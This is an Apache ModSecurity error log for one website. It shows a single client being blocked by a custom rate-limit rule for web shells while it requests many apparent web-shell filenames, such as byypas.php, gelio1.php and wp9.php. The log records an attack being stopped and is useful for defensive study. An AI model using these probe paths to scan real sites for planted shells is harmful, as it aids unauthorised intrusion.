[Tue Mar 24 21:23:34.742674 2026] [:error] [pid 38767:tid 38771] [client 20.19.171.59:10731] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "acKQVvwkUqN4GJAI5oVUXgAAAQE"]
[Tue Mar 24 21:23:35.472660 2026] [:error] [pid 3137:tid 3155] [client 20.19.171.59:28428] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acKQV5dZesutm6dfYM9AiQAAANA"]
[Tue Mar 24 21:23:36.375169 2026] [:error] [pid 3032:tid 3116] [client 20.19.171.59:41892] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acKQWCa_-JXXD03-JNxdWQAAAI0"]
[Tue Mar 24 21:23:36.918267 2026] [:error] [pid 48219:tid 48300] [client 20.19.171.59:19133] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acKQWChf3b4R_lAIyv-L1AAAAhM"]
[Tue Mar 24 21:23:37.523544 2026] [:error] [pid 3137:tid 3150] [client 20.19.171.59:17630] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asd.php"] [unique_id "acKQWZdZesutm6dfYM9AkgAAAMs"]
[Tue Mar 24 21:23:38.023572 2026] [:error] [pid 48219:tid 48288] [client 20.19.171.59:19109] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acKQWihf3b4R_lAIyv-L2AAAAgc"]
[Tue Mar 24 21:23:38.544652 2026] [:error] [pid 3137:tid 3152] [client 20.19.171.59:28438] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acKQWpdZesutm6dfYM9AmQAAAM0"]
[Tue Mar 24 21:23:39.096582 2026] [:error] [pid 48219:tid 48281] [client 20.19.171.59:40862] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acKQWyhf3b4R_lAIyv-L3AAAAgA"]
[Tue Mar 24 21:23:39.610096 2026] [:error] [pid 48219:tid 48285] [client 20.19.171.59:19086] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "acKQWyhf3b4R_lAIyv-L4QAAAgQ"]
[Tue Mar 24 21:23:40.744883 2026] [:error] [pid 64198:tid 64224] [client 20.19.171.59:8764] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acKQXHVzJqf6OS_oSZ3MlQAAAVg"]
[Tue Mar 24 21:23:47.243254 2026] [:error] [pid 64198:tid 64203] [client 20.19.171.59:27981] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelio1.php"] [unique_id "acKQY3VzJqf6OS_oSZ3MrwAAAUM"]
[Tue Mar 24 21:23:54.974486 2026] [:error] [pid 48128:tid 48156] [client 20.19.171.59:17640] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acKQasvR4LIMFLbM5Vk-qwAAAYY"]
[Tue Mar 24 21:23:56.125269 2026] [:error] [pid 3137:tid 3148] [client 20.19.171.59:10736] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acKQbJdZesutm6dfYM9ArwAAAMk"]
[Tue Mar 24 21:23:57.144932 2026] [:error] [pid 38767:tid 38780] [client 20.19.171.59:28424] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acKQbfwkUqN4GJAI5oVUfgAAAQo"]
[Tue Mar 24 21:23:58.480838 2026] [:error] [pid 3032:tid 3103] [client 20.19.171.59:17610] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "acKQbia_-JXXD03-JNxdbAAAAIA"]
[Tue Mar 24 21:23:59.805245 2026] [:error] [pid 3032:tid 3127] [client 20.19.171.59:14835] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acKQbya_-JXXD03-JNxdbwAAAJc"]
[Tue Mar 24 21:24:00.942917 2026] [:error] [pid 3137:tid 3144] [client 20.19.171.59:41387] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acKQcJdZesutm6dfYM9AvAAAAMU"]
[Tue Mar 24 21:24:01.710750 2026] [:error] [pid 64198:tid 64210] [client 20.19.171.59:3291] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acKQcXVzJqf6OS_oSZ3MwAAAAUo"]
[Tue Mar 24 21:24:03.600202 2026] [:error] [pid 3137:tid 3141] [client 20.19.171.59:25367] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "acKQc5dZesutm6dfYM9AygAAAMI"]
[Tue Mar 24 21:24:05.113030 2026] [:error] [pid 38767:tid 38794] [client 20.19.171.59:8652] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "acKQdfwkUqN4GJAI5oVUhgAAARg"]
[Tue Mar 24 21:24:07.538141 2026] [:error] [pid 48219:tid 48296] [client 20.19.171.59:8661] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "acKQdyhf3b4R_lAIyv-MBAAAAg8"]
[Tue Mar 24 21:24:09.339054 2026] [:error] [pid 64198:tid 64208] [client 20.19.171.59:7510] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "acKQeXVzJqf6OS_oSZ3M0AAAAUg"]
[Tue Mar 24 21:24:11.281739 2026] [:error] [pid 38767:tid 38791] [client 20.19.171.59:11079] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "acKQe_wkUqN4GJAI5oVUiwAAARU"]
[Tue Mar 24 21:24:12.370116 2026] [:error] [pid 48219:tid 48287] [client 20.19.171.59:16541] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acKQfChf3b4R_lAIyv-MBwAAAgY"]
[Tue Mar 24 21:24:13.178797 2026] [:error] [pid 3031:tid 3081] [client 20.19.171.59:1671] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acKQfaJBKytnG47nuiY8WwAAAEU"]
[Tue Mar 24 21:24:14.042024 2026] [:error] [pid 48219:tid 48291] [client 20.19.171.59:12954] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acKQfihf3b4R_lAIyv-MDAAAAgo"]
[Tue Mar 24 21:24:14.641276 2026] [:error] [pid 64198:tid 64221] [client 20.19.171.59:11364] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "acKQfnVzJqf6OS_oSZ3M4AAAAVU"]
[Tue Mar 24 21:24:15.459318 2026] [:error] [pid 48219:tid 48303] [client 20.19.171.59:11360] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "acKQfyhf3b4R_lAIyv-MDwAAAhY"]
[Tue Mar 24 21:24:16.067971 2026] [:error] [pid 64198:tid 64223] [client 20.19.171.59:8985] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "acKQgHVzJqf6OS_oSZ3M4wAAAVc"]
[Tue Mar 24 21:24:16.790148 2026] [:error] [pid 64198:tid 64214] [client 20.19.171.59:8977] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "acKQgHVzJqf6OS_oSZ3M6gAAAU4"]
[Tue Mar 24 21:24:17.463548 2026] [:error] [pid 38767:tid 38770] [client 20.19.171.59:1939] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "acKQgfwkUqN4GJAI5oVUoAAAAQA"]
[Tue Mar 24 21:24:18.440404 2026] [:error] [pid 48219:tid 48287] [client 20.19.171.59:27904] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "acKQgihf3b4R_lAIyv-MFwAAAgY"]
[Tue Mar 24 21:24:19.047469 2026] [:error] [pid 48219:tid 48304] [client 20.19.171.59:10646] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "acKQgyhf3b4R_lAIyv-MHAAAAhc"]
[Tue Mar 24 21:24:19.840402 2026] [:error] [pid 3137:tid 3152] [client 20.19.171.59:10045] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "acKQg5dZesutm6dfYM9A-wAAAM0"]
[Tue Mar 24 21:24:20.741742 2026] [:error] [pid 38767:tid 38790] [client 20.19.171.59:1462] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acKQhPwkUqN4GJAI5oVUqAAAARQ"]
[Tue Mar 24 21:24:21.313748 2026] [:error] [pid 38767:tid 38772] [client 20.19.171.59:17331] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acKQhfwkUqN4GJAI5oVUrgAAAQI"]
[Tue Mar 24 21:24:22.294336 2026] [:error] [pid 3030:tid 3051] [client 20.19.171.59:12536] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acKQhgyOuILyynfcqfllXwAAAAI"]
[Tue Mar 24 21:24:23.031568 2026] [:error] [pid 64198:tid 64215] [client 20.19.171.59:31933] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acKQh3VzJqf6OS_oSZ3M9gAAAU8"]
[Tue Mar 24 21:24:24.063824 2026] [:error] [pid 3031:tid 3077] [client 20.19.171.59:10406] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acKQiKJBKytnG47nuiY8ZQAAAEE"]
[Tue Mar 24 21:24:25.083920 2026] [:error] [pid 48214:tid 48274] [client 20.19.171.59:11730] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acKQibeshLWZ3uUDHKl3PgAAAdY"]
[Tue Mar 24 21:24:25.901682 2026] [:error] [pid 38767:tid 38774] [client 20.19.171.59:10299] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acKQifwkUqN4GJAI5oVUwQAAAQQ"]
[Tue Mar 24 21:24:26.828302 2026] [:error] [pid 3030:tid 3072] [client 20.19.171.59:1258] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "acKQigyOuILyynfcqfllZAAAABc"]
[Tue Mar 24 21:24:27.689518 2026] [:error] [pid 64198:tid 64205] [client 20.19.171.59:21126] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKQi3VzJqf6OS_oSZ3M_AAAAUU"]
[Tue Mar 24 21:24:28.653216 2026] [:error] [pid 64198:tid 64223] [client 20.19.171.59:13761] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKQjHVzJqf6OS_oSZ3M_gAAAVc"]
[Tue Mar 24 21:24:29.525925 2026] [:error] [pid 48219:tid 48301] [client 20.19.171.59:18619] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKQjShf3b4R_lAIyv-MLAAAAhQ"]
[Tue Mar 24 21:24:30.147458 2026] [:error] [pid 3137:tid 3162] [client 20.19.171.59:1755] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acKQjpdZesutm6dfYM9BBQAAANc"]
[Tue Mar 24 21:24:30.910661 2026] [:error] [pid 64198:tid 64224] [client 20.19.171.59:5127] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "acKQjnVzJqf6OS_oSZ3NAwAAAVg"]
[Tue Mar 24 21:24:31.461903 2026] [:error] [pid 3032:tid 3105] [client 20.19.171.59:7473] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "acKQjya_-JXXD03-JNxdegAAAII"]
[Tue Mar 24 21:24:32.305286 2026] [:error] [pid 48214:tid 48256] [client 20.19.171.59:31441] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "acKQkLeshLWZ3uUDHKl3RQAAAcQ"]
[Tue Mar 24 21:24:32.817317 2026] [:error] [pid 38767:tid 38779] [client 20.19.171.59:13454] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "acKQkPwkUqN4GJAI5oVUygAAAQk"]
[Tue Mar 24 21:24:33.407487 2026] [:error] [pid 48219:tid 48296] [client 20.19.171.59:18352] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acKQkShf3b4R_lAIyv-MPgAAAg8"]
[Tue Mar 24 21:24:34.036195 2026] [:error] [pid 48219:tid 48291] [client 20.19.171.59:18650] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acKQkihf3b4R_lAIyv-MQAAAAgo"]
[Tue Mar 24 21:24:34.817239 2026] [:error] [pid 48128:tid 48160] [client 20.19.171.59:9601] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acKQksvR4LIMFLbM5Vk-uQAAAYg"]
[Tue Mar 24 21:24:35.558016 2026] [:error] [pid 48214:tid 48276] [client 20.19.171.59:8381] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acKQk7eshLWZ3uUDHKl3RwAAAdg"]
[Tue Mar 24 21:24:36.154137 2026] [:error] [pid 38767:tid 38787] [client 20.19.171.59:12035] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "acKQlPwkUqN4GJAI5oVU0gAAARE"]
[Tue Mar 24 21:24:36.830994 2026] [:error] [pid 48219:tid 48297] [client 20.19.171.59:40903] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "acKQlChf3b4R_lAIyv-MSAAAAhA"]
[Tue Mar 24 21:24:37.672909 2026] [:error] [pid 48214:tid 48257] [client 20.19.171.59:5234] [client 20.19.171.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "acKQlbeshLWZ3uUDHKl3TAAAAcU"]
